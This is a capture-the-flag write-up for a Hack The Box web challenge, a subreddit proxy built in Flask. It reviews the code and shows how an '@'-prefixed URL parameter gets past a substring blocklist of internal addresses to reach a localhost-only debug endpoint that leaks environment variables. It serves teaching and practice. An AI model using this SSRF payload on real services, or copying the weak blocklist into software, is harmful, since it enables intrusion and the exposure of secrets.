Challenge description
Experience the freedom of the web with ProxyAsAService. Because online privacy and access should be for everyone, everywhere.
Challenge Overview
The challenge presents a web application that acts as a proxy service. Users can input subreddit paths, and the application fetches and displays the corresponding content.
Code Review
Dockerfile
The application’s Dockerfile reveals that the FLAG is stored as an environment variable:
ENV FLAG=HTB{f4k3_fl4g_f0r_t3st1ng}routes.py
The key functionality resides in the routes.py file. There are two primary endpoints to consider:
1. /debug/environment
This endpoint exposes all environment variables, including the FLAG. However, access is restricted by the is_from_localhost decorator, which ensures that only requests from 127.0.0.1 can reach this endpoint.
@debug.route('/environment', methods=['GET'])
@is_from_localhost
def debug_environment():
environment_info = {
'Environment variables': dict(os.environ),
'Request headers': dict(request.headers)
}
return jsonify(environment_info)2. /
This endpoint proxies requests to subreddits. It takes a url parameter and appends it to the target URL. The request is then processed by the proxy_req function:
@proxy_api.route('/', methods=['GET', 'POST'])
def proxy():
url = request.args.get('url')
if not url:
cat_meme_subreddits = [
'/r/cats/',
'/r/catpictures',
'/r/catvideos/'
]
random_subreddit = random.choice(cat_meme_subreddits)
return redirect(url_for('.proxy', url=random_subreddit))
target_url = f'http://{SITE_NAME}{url}'
response, headers = proxy_req(target_url)
return Response(response.content, response.status_code, headers.items())This endpoint interacts with the proxy_req function, which applies two restrictions:
- The request must pass the
is_safe_urlcheck. - The response URL must also pass the
is_safe_urlcheck.
Key Restrictions
is_from_localhost Decorator
def is_from_localhost(func):
@functools.wraps(func)
def check_ip(*args, **kwargs):
if request.remote_addr != '127.0.0.1':
return abort(403)
return func(*args, **kwargs)
return check_ipThis decorator verifies that the request.remote_addr is 127.0.0.1. Requests from any other IP are forbidden.
is_safe_url Function
RESTRICTED_URLS = ['localhost', '127.', '192.168.', '10.', '172.']
def is_safe_url(url):
for restricted_url in RESTRICTED_URLS:
if restricted_url in url:
return False
return TrueThe is_safe_url function checks the URL against a list of restricted substrings (RESTRICTED_URLS). If a restricted substring is found, the request is blocked.
Exploitation
Objective
To retrieve the FLAG, we must access the /debug/environment endpoint. This requires bypassing:
- The
is_from_localhostdecorator. - The
is_safe_urlcheck enforced byproxy_req.
Bypassing is_from_localhost
The is_from_localhost decorator validates the remote_addr field of the incoming request. Since we cannot spoof our IP address directly, we use the proxy mechanism to send a request to 127.0.0.1 indirectly.
Bypassing is_safe_url
The is_safe_url function prevents direct access to restricted URLs. However, we can exploit the way the url parameter is appended to SITE_NAME. By crafting a URL with the format:
@0.0.0.0:1337/debug/environmentThis payload works because:
- The
@symbol in URLs is interpreted as authentication information, allowing us to bypass URL validation. - The
SITE_NAMEvariable prepends the hostname (http://) before appending the payload, effectively transforming the final URL into:
http://0.0.0.0:1337/debug/environmentThis bypasses the restrictions in is_safe_url while routing the request to 127.0.0.1.
Payload
To execute the exploit, we send the following request:
/?url=@0.0.0.0:1337/debug/environmentResult
The response includes the environment variables, including the FLAG:
{
"Environment variables": {
"FLAG": "HTB{f4k3_fl4g_f0r_t3st1ng}",
"GPG_KEY": "7169605F62C751356D054A26A821E680E5FA6305",
"HOME": "/root",
"HOSTNAME": "a4bfb5eead77",
"PATH": "/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"PYTHONDONTWRITEBYTECODE": "1",
"PYTHON_SHA256": "086de5882e3cb310d4dca48457522e2e48018ecd43da9cdf827f6a0759efb07d",
"PYTHON_VERSION": "3.13.0",
"SUPERVISOR_ENABLED": "1",
"SUPERVISOR_GROUP_NAME": "flask",
"SUPERVISOR_PROCESS_NAME": "flask",
"TERM": "xterm",
"WERKZEUG_SERVER_FD": "3"
},
"Request headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Cookie": "JSESSIONID=8530BE014E3829AD1C9CA27C9DBFA3F7; eu_cookie={%22opted%22:true%2C%22nonessential%22:true}; session=eyJjc3JmX3Rva2VuIjoiNzY3NDgzOTAyOTgzZWU5ZjY0YzNlNWIyZWM3MTJiZTNkN2E0Mzg0ZSJ9.Zz3ZSA.iRjAZ3aMVfDhnx6uYyQ8jpO5edY",
"Host": "0.0.0.0:1337",
"User-Agent": "python-requests/2.32.3"
}
}We successfully retrieved the fake flag HTB{f4k3_fl4g_f0r_t3st1ng}. We can now use the same technique to retrieve the real flag on the HTB server.

